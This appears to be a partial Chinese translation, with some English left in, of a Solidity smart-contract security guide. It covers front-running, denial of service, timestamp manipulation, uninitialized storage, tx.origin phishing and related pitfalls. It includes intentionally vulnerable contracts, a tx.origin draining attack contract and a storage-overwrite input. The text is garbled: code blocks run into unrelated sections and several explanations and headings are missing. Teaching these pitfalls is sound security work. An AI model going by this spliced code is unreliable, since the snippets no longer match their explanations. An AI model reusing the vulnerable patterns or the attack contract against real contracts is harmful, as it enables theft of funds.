    //Mark the round as cashed

Notice that on line \[21\] the send function's return value is not checked, and the following line then sets a boolean indicating the winner has been sent their funds. This bug can allow a state where the winner does not receive their ether, but the state of the contract can indicate that the winner has already been paid.

注意，第 \[21\] 行中 send 函数的返回值没有被检查，紧接着的一行设置了一个布尔值，表示获胜者已收到资金。这个漏洞可能导致一种状态：获胜者没有收到以太币，但合约状态却显示获胜者已被支付。

A more serious version of this bug occurred in the [King of the Ether](https://www.kingoftheether.com/thrones/kingoftheether/index.html). An excellent [post-mortem](https://www.kingoftheether.com/postmortem.html) of this contract has been written which details how an unchecked failed `send()` could be used to attack the contract.

这个 bug 的一个更严重版本出现在 [King of the Ether](https://www.kingoftheether.com/thrones/kingoftheether/index.html) 中。有人为该合约撰写了一份出色的[事后分析](https://www.kingoftheether.com/postmortem.html)，详细说明了如何利用未检查的失败 `send()` 来攻击该合约。

<h2 id="race-conditions"><span id="SP-10">10. 竞态条件 / 抢先交易</span></h2>

The combination of external calls to other contracts and the multi-user nature of the underlying blockchain gives rise to a variety of potential Solidity pitfalls whereby users *race* code execution to obtain unexpected states. [Re-Entrancy](#reentrancy) is one example of such a race condition. In this section we will talk more generally about different kinds of race conditions that can occur on the Ethereum blockchain. There is a variety of good posts on this subject, a few are: [Ethereum Wiki - Safety](https://github.com/ethereum/wiki/wiki/Safety#race-conditions), [DASP - Front-Running](http://www.dasp.co/#item-7) and the [Consensus - Smart Contract Best Practices](https://consensys.github.io/smart-contract-best-practices/known_attacks/#race-conditions).

外部调用其他合约与底层区块链的多用户特性相结合，会产生各种潜在的 Solidity 陷阱，使用户*竞争*代码执行以获得意外的状态。[重入](#reentrancy) 就是这种竞态条件的一个例子。在本节中，我们将更普遍地讨论以太坊区块链上可能发生的不同类型的竞态条件。关于这个主题有很多不错的文章，例如：[Ethereum Wiki - Safety](https://github.com/ethereum/wiki/wiki/Safety#race-conditions)、[DASP - Front-Running](http://www.dasp.co/#item-7) 和 [Consensus - Smart Contract Best Practices](https://consensys.github.io/smart-contract-best-practices/known_attacks/#race-conditions)。

<h3 id="race-conditions-vuln">漏洞</h3>

As with most blockchains, Ethereum nodes pool transactions and form them into blocks. The transactions are only considered valid once a miner has solved a consensus mechanism (currently [ETHASH](https://github.com/ethereum/wiki/wiki/Ethash) PoW for Ethereum). The miner who solves the block also chooses which transactions from the pool will be included in the block, this is typically ordered by the `gasPrice` of a transaction. In here lies a potential attack vector. An attacker can watch the transaction pool for transactions which may contain solutions to problems, modify or revoke the attacker's permissions or change a state in a contract which is undesirable for the attacker. The attacker can then get the data from this transaction and create a transaction of their own with a higher `gasPrice` and get their transaction included in a block before the original.

与大多数区块链一样，以太坊节点将交易汇集并打包成区块。只有在矿工解决了共识机制（目前以太坊使用 [ETHASH](https://github.com/ethereum/wiki/wiki/Ethash) PoW）之后，这些交易才会被视为有效。解决区块的矿工还会决定池中的哪些交易将被包含在区块中，这通常按交易的 `gasPrice` 排序。这里就存在一个潜在的攻击向量。攻击者可以监视交易池中的交易，这些交易可能包含问题的解决方案、修改或撤销攻击者的权限，或改变合约中对攻击者不利的状态。然后，攻击者可以获取该交易的数据，并以更高的 `gasPrice` 创建自己的交易，使自己的交易先于原始交易被包含在区块中。

Let's see how this could work with a simple example. Consider the contract `FindThisHash.sol`:

让我们通过一个简单的例子来看看这是如何运作的。考虑一下合约 `FindThisHash.sol`：```solidity
contract FindThisHash {
    bytes32 constant public hash = 0xb5b5b97fafd9855eec9b41f74dfb6c38f5951141f9a3ecd7f44d5479b630ee0a;

    constructor() public payable {} // load with ether

    function solve(string solution) public {
        // If you can find the pre image of the hash, receive 1000 ether
        require(hash == sha3(solution));
        msg.sender.transfer(1000 ether);
    }
}

此函数允许用户授权其他用户代其转移代币。抢跑（frontrunning）漏洞出现在以下场景：用户 Alice *批准*她的朋友 `Bob` 花费 `100 tokens`。Alice 后来决定撤销 `Bob` 花费 `100 tokens` 的授权，于是她创建了一笔交易，将 `Bob` 的额度设置为 `50 tokens`。一直在仔细监视链上情况的 `Bob` 看到了这笔交易，并构建了自己的一笔花费 `100 tokens` 的交易。他为自己的交易设置了比 Alice 更高的 `gasPrice`，使自己的交易优先于她的交易被处理。某些 `approve()` 实现会允许 `Bob` 先转移他的 `100 tokens`，然后当 Alice 的交易被提交时，将 `Bob` 的授权重置为 `50 tokens`，这实际上让 `Bob` 可以使用 `150 tokens`。此攻击的缓解策略见上面链接文档中的[此处](https://docs.google.com/document/d/1YLPtQxZu1UAvO9cZ1O2RPXBbT0mooh4DYKjA_jp-RLM/edit)。

另一个突出的真实世界例子是 [Bancor](https://www.bancor.network/)。Ivan Bogatty 和他的团队记录了对初始 Bancor 实现的一次可盈利攻击。他的[博客文章](https://hackernoon.com/front-running-bancor-in-150-lines-of-python-with-ethereum-api-d5e2bfd0d798)和 [Devon 3 演讲](https://www.youtube.com/watch?v=RL2nE3huNiI)详细讨论了这是如何做到的。本质上，代币的价格是根据交易价值确定的，用户可以监视交易池中的 Bancor 交易，并对其抢跑，从而从价格差异中获利。Bancor 团队已经解决了这一攻击。

<h2 id="dos"><span id="SP-11">11. 拒绝服务 (DOS)</span></h2>

这个类别非常广泛，但基本上由以下攻击组成：用户可以让合约在短时间内无法运行，或者在有些情况下永久无法运行。这可能会将以太币永久困在这些合约中，正如 [第二次 Parity MultiSig 攻击事件](#dc-example) 中的情况一样。

<h3 id="dos-vuln">漏洞</h3>

合约可能变得无法运行的方式有很多种。这里我只重点介绍一些潜在的、不太明显的、具有区块链微妙特性的 Solidity 编码模式，它们可能导致攻击者实施 DOS 攻击。

**1. 无 gas 津贴的外部调用** - 可能会出现这种情况：你希望
对一个未知合约进行外部调用，并继续处理
交易，无论该调用是否失败。通常，这是
通过使用 `CALL` 操作码实现的，该操作码在调用失败时不会回滚交易
（更多细节和示例请参阅 [未检查的 CALL 返回值](#unchecked-calls)）。
让我们考虑一个简单的例子：我们有一个合约钱包，它会在
调用 `withdraw()` 函数时缓慢地流出以太币。`partner` 可以
添加自己的地址并花费 gas 来调用 withdraw 函数，从而使
`partner` 和 `owner` 各自获得合约总余额的 1%。```solidity
contract TrickleWallet {

    address public partner; // withdrawal partner - pay the gas, split the withdraw
    address public constant owner = 0xA9E;
    uint timeLastWithdrawn;
    mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances

    function setWithdrawPartner(address _partner) public {
        require(partner == '0x0' || msg.sender == partner);
        partner = _partner;
    }

    // withdraw 1% to recipient and 1% to owner
    function withdraw() public {
        uint amountToSend = address(this).balance/100;
        // perform a call without checking return
        // the recipient can revert, the owner will still get their share
        partner.call.value(amountToSend)();
        owner.transfer(amountToSend);
        // keep track of last withdrawal time
        timeLastWithdrawn = now;
        withdrawPartnerBalances[partner] += amountToSend;
    }

    // allow deposit of funds
    function() payable {}

    // convenience function
    function contractBalance() view returns (uint) {
        return address(this).balance;
    }
}

如果提款合作方决定不喜欢合约的所有者。
他们可以将合作方地址设置为该合约，从而将所有资金锁定在
`TrickleWallet` 合约中，永远无法取出。

为防止此类拒绝服务（DOS）攻击向量，请确保在外部调用中指定 gas 补贴，
以限制该交易可使用的 gas 量。在我们的
示例中，可以通过将第 \[17\] 行改为以下内容来修复此攻击：```solidity
partner.call.gas(50000).value(amountToSend)();

// ... extra functionality, including transfertoken()

function invest() public payable {
    investors.push(msg.sender);
    investorTokens.push(msg.value * 5); // 5 times the wei sent
    }

function distribute() public {
    require(msg.sender == owner); // only owner
    for(uint i = 0; i < investors.length; i++) {
        // here transferToken(to,amount) transfers "amount" of tokens to the address "to"
        transferToken(investors[i],investorTokens[i]);
    }
}

请注意，此合约中的循环遍历一个可以被人为膨胀的数组。攻击者可以创建大量用户账户，使 `investor` 数组变得很大。原则上，这可能导致执行 for 循环所需的 gas 超过区块 gas 上限，从而使 `distribute()` 函数基本无法运行。

**3. 所有者操作** - 另一种常见模式是，所有者在合约中拥有特定权限，并且必须执行某些任务，合约才能进入下一个状态。一个例子是 ICO 合约，它要求所有者 `finalize()` 该合约，之后代币才可转让，即``` solidity
bool public isFinalized = false;
address public owner; // gets set somewhere

function finalize() public {
    require(msg.sender == owner);
    isFinalized == true;
}

// ... extra ICO functionality

// overloaded transfer function
function transfer(address _to, uint _value) returns (bool) {
    require(isFinalized);
    super.transfer(_to,_value)
}

...

constructor() public payable {} // initially fund contract

// fallback function used to make a bet
function () public payable {
    require(msg.value == 10 ether); // must send 10 ether to play
    require(now != pastBlockTime); // only 1 transaction per block
    pastBlockTime = now;
    if(now % 15 == 0) { // winner
        msg.sender.transfer(this.balance);
    }
}

此合约的行为就像一个简单的彩票。每个区块只能有一笔交易下注 `10 ether`，以有机会赢得合约的余额。这里的假设是，`block.timestamp` 的最后两位数字是均匀分布的。如果是这样，那么赢得这个彩票的概率将是 1/15。

然而，众所周知，矿工可以在需要时调整时间戳。在这种特定情况下，如果合约中累积了足够的以太币，解决区块的矿工就有动力选择一个时间戳，使 `block.timestamp` 或 `now` 模 15 等于 `0`。这样做的话，他们可以赢得锁定在该合约中的以太币以及区块奖励。由于每个区块只允许一个人下注，这也容易受到[抢先交易](#race-conditions)攻击。

在实践中，区块时间戳是单调递增的，因此矿工不能选择任意的区块时间戳（它们必须大于前一个区块的时间戳）。他们也不能将区块时间设置得太远，因为这些区块很可能会被网络拒绝（节点不会验证时间戳位于未来的区块）。

<h3 id="block-timestamp-prev">预防技术</h3>

区块时间戳不应用于熵或生成随机数——也就是说，它们不应成为赢得游戏或改变重要状态的决定因素（无论是直接还是通过某种推导，如果假定其为随机）。

有时需要时间敏感的逻辑；例如解锁合约（时间锁定）、在几周后完成 ICO 或强制实施到期日期。有时建议使用 `block.number`（参见 [Solidity 文档](http://solidity.readthedocs.io/en/latest/units-and-global-variables.html#block-and-transaction-properties)）和平均区块时间来估算时间；例如，在 `10 second` 的区块时间下，`1 week` 大约相当于 `60480 blocks`。因此，指定一个区块编号来改变合约状态可能更安全，因为矿工不能轻易操纵区块编号。[BAT ICO](https://etherscan.io/address/0x0d8775f648430679a709e98d2b0cb6250d2887ef#code) 合约就采用了这一策略。

如果合约并不过分担心矿工对区块时间戳的操纵，这可能不是必需的，但在开发合约时需要注意这一点。

<h3 id="block-timestamp-example">真实世界示例：GovernMental</h3>

[GovernMental](http://governmental.github.io/GovernMental/) 是一个古老的庞氏骗局，累积了相当多的以太币。它也容易受到基于时间戳的攻击。该合约会向在一轮中最后加入（至少持续一分钟）的玩家支付奖励。因此，作为玩家的矿工可以调整时间戳（调整为未来的时间，使其看起来像已经过了一分钟），从而让该玩家看起来像是最后加入并持续了一分钟以上（尽管实际上并非如此）。更多细节可以在 Tanya Bahrynovska 撰写的 [以太坊安全漏洞历史文章](https://applicature.com/blog/history-of-ethereum-security-vulnerabilities-hacks-and-their-fixes) 中找到。

<h2 id="constructors"><span id="SP-13">13. 小心构造函数</span></h2>

构造函数是特殊的函数，在初始化合约时通常执行关键的特权任务。在 solidity `v0.4.22` 之前，构造函数被定义为与包含它们的合约同名的函数。因此，当合约名称在开发过程中发生变化时，如果构造函数名称没有改变，它就会变成一个普通的、可调用的函数。可以想象，这可能导致（并且已经导致）一些有趣的合约攻击。

为了进一步阅读，我建议读者尝试 [Ethernaught 挑战](https://github.com/OpenZeppelin/ethernaut)（特别是 Fallout 关卡）。

<h3 id="constructors-vuln">漏洞</h3>

如果合约名称被修改，或者构造函数名称出现拼写错误，使其不再与合约名称匹配，构造函数就会像普通函数一样运行。这可能导致严重后果，尤其是当构造函数在执行特权操作时。考虑以下合约```solidity
contract OwnerWallet {
    address public owner;

    //constructor
    function ownerWallet(address _owner) public {
        owner = _owner;
    }

    // fallback. Collect ether.
    function () payable {}

    function withdraw() public {
        require(msg.sender == owner);
        msg.sender.transfer(this.balance);
    }
}

bool public unlocked = false;  // registrar locked, no name updates

struct NameRecord { // map hashes to addresses
    bytes32 name;
    address mappedAddress;
}

mapping(address => NameRecord) public registeredNameRecord; // records who registered names
mapping(bytes32 => address) public resolve; // resolves hashes to addresses

function register(bytes32 _name, address _mappedAddress) public {
    // set up the new NameRecord
    NameRecord newRecord;
    newRecord.name = _name;
    newRecord.mappedAddress = _mappedAddress;

    resolve[_name] = _mappedAddress;
    registeredNameRecord[msg.sender] = newRecord;

    require(unlocked); // only allow registrations if contract is unlocked
}

这个简单的名称注册合约只有一个功能。当合约处于 `unlocked` 状态时，它允许任何人注册一个名称（以 `bytes32` 哈希形式）并将该名称映射到一个地址。不幸的是，这个注册合约最初是锁定的，第 \[23\] 行的 `require` 阻止了 `register()` 添加名称记录。然而，这个合约中存在一个漏洞，它允许在无论 `unlocked` 变量为何值的情况下进行名称注册。

要讨论这个漏洞，首先我们需要理解 Solidity 中存储（storage）的工作原理。作为一个高层概述（不包含任何适当的技术细节——我建议阅读 Solidity 文档以获得完整了解），状态变量按照它们在合约中出现的顺序依次存储在 *插槽（slots）* 中（它们可以被分组存储，但在本例中不会，所以我们不必担心这一点）。因此，`unlocked` 存在于 `slot 0`，`registeredNameRecord` 存在于 `slot 1`，`resolve` 存在于 `slot 2`，依此类推。每个插槽的大小为 32 字节（映射（mappings）还有额外的复杂性，我们暂时忽略）。布尔值 `unlocked` 在 `false` 时看起来像 `0x000...0`（64 个 `0`，不包括 `0x`），在 `true` 时像 `0x000...1`（63 个 `0`）。如你所见，在这个特定示例中，存储空间存在显著的浪费。

我们需要的下一条信息是，Solidity 在将复杂数据类型（如 `structs`）初始化为局部变量时，默认将其存储位置设为 `storage`。因此，第 \[16\] 行的 `newRecord` 默认为 `storage`。该漏洞是由 `newRecord` 未被初始化这一事实引起的。由于它默认为 storage，它变成了一个指向 storage 的指针，而又因为它未被初始化，它指向 slot `0`（即 `unlocked` 存储的位置）。注意，在第 \[17\] 和 \[18\] 行，我们将 `nameRecord.name` 设置为 `_name`，将 `nameRecord.mappedAddress` 设置为 `_mappedAddress`，这实际上改变了 slot 0 和 slot 1 的存储位置，从而同时修改了 `unlocked` 以及与 `registeredNameRecord` 关联的存储插槽。

这意味着，只需通过 `register()` 函数的 `bytes32 _name` 参数，就可以直接修改 `unlocked`。因此，如果 `_name` 的最后一个字节非零，它将修改存储 `slot 0` 的最后一个字节，并直接将 `unlocked` 更改为 `true`。这样的 `_name` 值将通过第 \[23\] 行的 `require()`，因为我们正在将 `unlocked` 设置为 `true`。可以在 Remix 中尝试一下。注意，如果你使用的 `_name` 形式为：`0x0000000000000000000000000000000000000000000000000000000000000001`，该函数将顺利通过。

<h3 id="storage-prev">预防技术</h3>

Solidity 编译器会将未初始化的存储变量作为警告抛出，因此开发人员在构建智能合约时应密切关注这些警告。当前版本的 mist（0.10）不允许编译这些合约。在处理复杂类型时，显式使用 `memory` 或 `storage` 关键字以确保其行为符合预期是一种良好实践。从 Solidity 版本 `0.5.0` 开始，`memory` 和 `storage` 的使用是强制性的。

<h3 id="storage-example">现实世界示例：蜜罐：OpenAddressLottery 和 CryptoRoulette</h3>

一个名为 OpenAddressLottery（[合约代码](https://etherscan.io/address/0x741f1923974464efd0aa70e77800ba5d9ed18902#code)）的蜜罐被部署，它利用这种未初始化存储变量的特性来从一些准黑客那里收集以太币。该合约相当深入，因此我将把讨论留给这个 [Reddit 帖子](https://www.reddit.com/r/ethdev/comments/7wp363/how_does_this_honeypot_work_it_seems_like_a/)，那里对攻击方式进行了相当清晰的解释。

另一个蜜罐 CryptoRoulette（[合约代码](https://etherscan.io/address/0x8685631276cfcf17a973d92f6dc11645e5158c0c#code)）也利用了这一技巧来尝试收集一些以太币。如果你无法理解攻击是如何运作的，可以参阅 [对几个以太坊蜜罐合约的分析](https://medium.com/@jsanjuas/an-analysis-of-a-couple-ethereum-honeypot-contracts-5c07c95b0a8d)，以了解该合约及其他合约的概览。


<h2 id="precision"><span id="SP-15">15. 浮点数和精度</span></h2>

截至撰写本文时（Solidity v0.4.24），不支持定点数或浮点数。这意味着浮点表示必须使用 Solidity 中的整数类型来实现。如果实现不正确，这可能导致错误或漏洞。

如需进一步阅读，请参阅 [以太坊合约安全技术与技巧——整数除法中的舍入问题](https://github.com/ethereum/wiki/wiki/Safety#beware-rounding-with-integer-division)，

<h3 id="precision-vuln">漏洞</h3>

由于 Solidity 中没有定点类型，开发人员需要使用标准整数数据类型自行实现。在这个过程中，开发人员可能会遇到许多陷阱。我将尝试在本节中强调其中的一些。

让我们从一个代码示例开始（为简单起见，我们忽略任何上溢/下溢问题）。```solidity
contract FunWithNumbers {
    uint constant public tokensPerEth = 10;
    uint constant public weiPerEth = 1e18;
    mapping(address => uint) public balances;

    function buyTokens() public payable {
        uint tokens = msg.value/weiPerEth*tokensPerEth; // convert wei to eth, then multiply by token rate
        balances[msg.sender] += tokens;
    }

    function sellTokens(uint tokens) public {
        require(balances[msg.sender] >= tokens);
        uint eth = tokens/tokensPerEth;
        balances[msg.sender] -= tokens;
        msg.sender.transfer(eth*weiPerEth); //
    }
}

constructor (address _owner) {
    owner = _owner;
}

function () public payable {} // collect ether

function withdrawAll(address _recipient) public {
    require(tx.origin == owner);
    _recipient.transfer(this.balance);
}

注意，在第 \[11\] 行，该合约使用 `tx.origin` 授权了 `withdrawAll()` 函数。该合约允许攻击者创建一个如下形式的攻击合约：```solidity
import "Phishable.sol";

contract AttackContract {

    Phishable phishableContract;
    address attacker; // The attackers address to receive funds.

    constructor (Phishable _phishableContract, address _attackerAddress) {
        phishableContract = _phishableContract;
        attacker = _attackerAddress;
    }

    function () payable {
        phishableContract.withdrawAll(attacker);
    }
}

// determine future addresses which can hide ether.
function futureAddresses(uint8 nonce) public view returns (address) {
    if(nonce == 0) {
        return address(keccak256(0xd6, 0x94, this, 0x80));
    }
    return address(keccak256(0xd6, 0x94, this, nonce));
// need to implement rlp encoding properly for a full range of nonces
}

// increment the contract nonce or retrieve ether from a hidden/key-less account
// provided the nonce is correct
function retrieveHiddenEther(address beneficiary) public returns (address) {
    currentContractNonce +=1;
    return new RecoverContract(beneficiary);
}

function () payable {} // Allow ether transfers (helps for playing in remix)

此合约允许你存储无密钥以太币（相对安全，因为你不会意外错过 nonce）[^3]。`futureAddresses()` 函数可用于通过指定 `nonce` 来计算此合约能够创建的前 127 个合约地址。如果你向其中一个地址发送以太币，之后可以通过多次调用 `retrieveHiddenEther()` 来恢复它。例如，如果你选择 `nonce=4`（并向关联地址发送以太币），则需要调用 `retrieveHiddenEther()` 四次，它才会将以太币恢复到 `beneficiary` 地址。

这也可以在没有合约的情况下完成。你可以向从你的标准以太坊账户之一派生出来的地址发送以太币，之后在正确的 nonce 下恢复它。但请注意，如果你意外超过了恢复以太币所需的交易 nonce，你的资金将永久丢失。

 如需了解你可以利用此特性进行的更多高级操作，我建议阅读 [Martin Swende 的帖子](http://martin.swende.se/blog/Ethereum_quirks_and_vulns.html)。


<h3 id="one-time-addresses">一次性地址</h3>

以太坊交易签名使用椭圆曲线数字签名算法（ECDSA）。通常，为了在以太坊上发送经验证的交易，你会使用以太坊私钥对消息进行签名，从而授权从你的账户支出。更详细地说，你签名的消息是以太坊交易的组成部分，具体是 `to`、`value`、`gas`、`gasPrice`、`nonce` 和 `data` 字段。以太坊签名的结果是三个数字：`v`、`r` 和 `s`。我不会详细说明它们各自代表什么，而是请感兴趣的读者参阅 [ECDSA 维基页面](https://en.wikipedia.org/wiki/Elliptic_Curve_Digital_Signature_Algorithm)（其中描述了 `r` 和 `s`）、[以太坊黄皮书](https://ethereum.github.io/yellowpaper/paper.pdf)（附录 F——描述了 `v`），以及 [EIP155](https://github.com/ethereum/EIPs/blob/master/EIPS/eip-155.md) 以了解当前 `v` 的用法。

因此我们知道，以太坊交易签名由一条消息以及 `v`、`r` 和 `s` 这三个数字组成。我们可以使用消息（即交易详情）、`r` 和 `s` 推导出一个以太坊地址，从而检查签名是否有效。如果推导出的以太坊地址与交易的 `from` 字段匹配，那么我们就知道 `r` 和 `s` 是由拥有（或能够访问）`from` 字段对应私钥的人创建的，因此签名是有效的。

现在考虑一下，我们并不拥有私钥，而是为一个任意交易捏造 `r` 和 `s` 的值。假设我们有一笔交易，参数如下：```javascript
{to: "0xa9e", value: 10e18, nonce: 0}

along with the signature, i.e. the `v`, `r` and `s` we made up. This will be a valid transaction, because the derived address will match our `from` field. This allows us to spend our money from this random address (`0x54321`) to the address we chose `0xa9e`. Thus we have managed to store ether in an address that we do not have the private key and used a one-time transaction to recover the ether.

This quirk can also be used to send ether to a large number of people in a trustless manner, as Nick Johnson describes in [How to send Ether to 11,440 people](https://medium.com/@weka/how-to-send-ether-to-11-440-people-187e332566b7).

<h3 id="single-transaction-airdrops">单笔交易空投</h3>

空投是指将代币分发给大量
人群的过程。传统上，空投是通过大量交易处理的，
每笔交易更新单个或一批用户的余额。
这在以太坊区块链上可能成本高昂且负担沉重。
还有一种替代方法，可以通过单笔交易为许多用户的余额
充值代币。

这项技术由提出者 RicMoo 在他的文章中进行了更详细的解释：
[Merkle Air-Drops: Make Love, Not War](https://blog.ricmoo.com/merkle-air-drops-e6406945584d).

这个想法是创建一个 [Merkle Tree](https://en.wikipedia.org/wiki/Merkle_tree)
其中（作为叶节点）包含所有将被授予代币的用户的地址和余额。
这将在链下完成。Merkle 树可以公开
分发（同样是在链下）。然后可以创建一个智能合约，其中包含
Merkle 树的根哈希，允许用户提交 [merkle-proofs](https://www.quora.com/Cryptography-How-does-a-Merkle-proof-actually-work) 来获取
他们的代币。因此，一笔单一交易（用于创建合约，
    或仅存储 Merkle 树根哈希的交易）就能让所有被授予的用户兑换
他们的空投代币。

RicMoo 在他的[帖子](https://blog.ricmoo.com/merkle-air-drops-e6406945584d)中还提供了一个可以接受 Merkle Proofs 的函数示例
并计入用户余额：```solidity
function redeem(uint256 index, address recipient,
                uint256 amount, bytes32[] merkleProof) public {

    // Make sure this has not been redeemed
    uint256 redeemedBlock = _redeemed[index / 256];
    uint256 redeemedMask = (uint256(1) << uint256(index % 256));
    require((redeemedBlock & redeemedMask) == 0);

    // Mark it as redeemed (if we fail, we revert)
    _redeemed[index / 256] = redeemedBlock | redeemedMask;

    // Compute the merkle root from the merkle proof
    bytes32 node = keccak256(index, recipient, amount);
    uint256 path = index;
    for (uint16 i = 0; i < merkleProof.length; i++) {
        if ((path & 0x01) == 1) {
            node = keccak256(merkleProof[i], node);
        } else {
            node = keccak256(node, merkleProof[i]);
        }
        path /= 2;
    }

    // Check the resolved merkle proof matches our merkle root
    require(node == _rootHash);

    // Redeem!
    _balances[recipient] += amount;
    _totalSupply += amount;
    Transfer(0, recipient, amount);
}